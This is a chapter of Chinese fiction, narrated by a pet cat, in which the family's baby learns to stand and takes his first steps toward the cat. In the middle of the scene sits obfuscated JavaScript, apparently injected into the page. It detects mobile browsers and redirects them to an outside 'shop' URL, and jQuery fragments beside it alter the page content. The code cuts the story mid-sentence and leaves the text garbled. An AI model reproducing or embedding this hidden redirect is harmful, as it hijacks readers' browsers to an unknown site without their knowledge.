小树学会了站立。
起初是抓着咖啡桌的边缘，摇摇晃晃地抬起身体，膝盖打颤，小脸因为用力而憋红。
然后他能坚持几秒钟，松开一只手去抓桌上的物品——通常是我的羽毛玩具或电视遥控器。
我会坐在不远处观察，尾巴尖轻轻摆动，随时准备在他失去平衡时冲过去当肉垫。但他总是能软绵绵地坐下，很少真的摔倒。
真正的里程碑发生在一个秋日的早晨。
我正在窗台上看落叶。
今年的叶子金黄得特别彻底，一片片旋转着落下，像一场缓慢的舞蹈。小树在客厅地毯上玩积木——他把它们堆起来，然后推倒，发出愉快的叫声。
突然，声音停止了。
我转过头。
小树扶着沙发站了起来。但他没有停留在那里。他松开了一只手，然后是另一只手。他摇摇晃晃地，像暴风雨中的小树苗，但保持着直立。
他站着。完全靠自己。
他的眼睛睁得大大的，充满了惊奇，仿佛自己也不知道发生了什么。
然后他看到了我。
“啊……麻！”他发出两个音节。不是清晰的“芝麻”，但其中的“麻”字是准确的。
他向我迈出一步。
左脚向前，落地，摇晃。右脚拖上来，站稳。又是一步。
一步，两步，三步。
他走过地毯，走过地板，走到窗台前。他的小手伸出，抓住了我的尾巴——不是抓握，只是轻轻搭在上面，用来保持平衡。
他抬起头，看着我，露出那个无牙的笑容。
“麻！”
我低下头，用鼻子碰了碰他的额头。这是一个猫之间表示亲昵和认可的动作。
小树咯咯笑起来，小手向上伸，想要摸我的脸。我配合地低下头，让他柔软的手指划过我的耳朵、脸颊、胡须。
他的触摸很轻，带着好奇和温柔。他不懂什么是“抓”，什么是“拉”，他只是“感受”。他的指尖描绘着我脸的轮廓，像在阅读一本盲文书。
我咕噜起来。强烈的、饱满的咕噜声，震动通过他的小手传递。
小树的眼睛亮了起来。他把另一只手也伸过来，两只手捧住我的脸——虽然他的手掌太小，只能捧住一半。
我们就这样站着：他扶着我的尾巴保持平衡，我低头让他抚摸，阳光从窗外洒进来，在我们周围形成一道光柱，灰尘在光柱中缓缓旋转。
女主人从厨房出来，看到了这一幕。她停住了，手捂住嘴，眼睛里瞬间涌上泪水。但她没有出声，没有打扰，只是静静地、喜悦地看着。
小树站了大概一分钟——对他而言已经是很长的时间。然后他的腿开始颤抖，身体向后倒去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420626|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我迅速转身，用身体侧面抵住他，减缓他倒下的速度。他软软地坐在我的背上，然后滑到地毯上，坐成一个圆滚滚的球。
他不哭不闹，只是继续笑着，伸手抓我的爪子。
我把爪子递给他——收回指甲，只用肉垫。他好奇地捏着柔软的肉垫，按了按，发现它会轻微凹陷。
“麻的……手？”他含糊地说。
女主人终于走过来，跪在地毯上，把我们两个都搂进怀里。她的拥抱很温暖，同时包裹了人类幼崽和猫。
“芝麻是哥哥，”她对我们俩说，“小树是弟弟。你们要永远互相照顾，知道吗？”
小树当然听不懂，他只是把脸埋进我的毛里，深深吸气。
但我听懂了。
永远。
这是一个很长的词，长到超越了季节的循环，超越了狩猎的本能，甚至超越了我能理解的时间概念。
但我从这个拥抱的温度里，从小树手指的柔软触感里，从女主人声音里的泪意和笑意里，明白了它的分量。
我抬起头，舔了舔小树的脸颊。咸咸的，有奶味和口水的味道。
他笑得更响了。
窗外的叶子还在落。一片金黄的枫叶贴在玻璃上，停留片刻，又被风吹走。
但屋内的这个时刻，被我收进了记忆里最深的角落。
永远。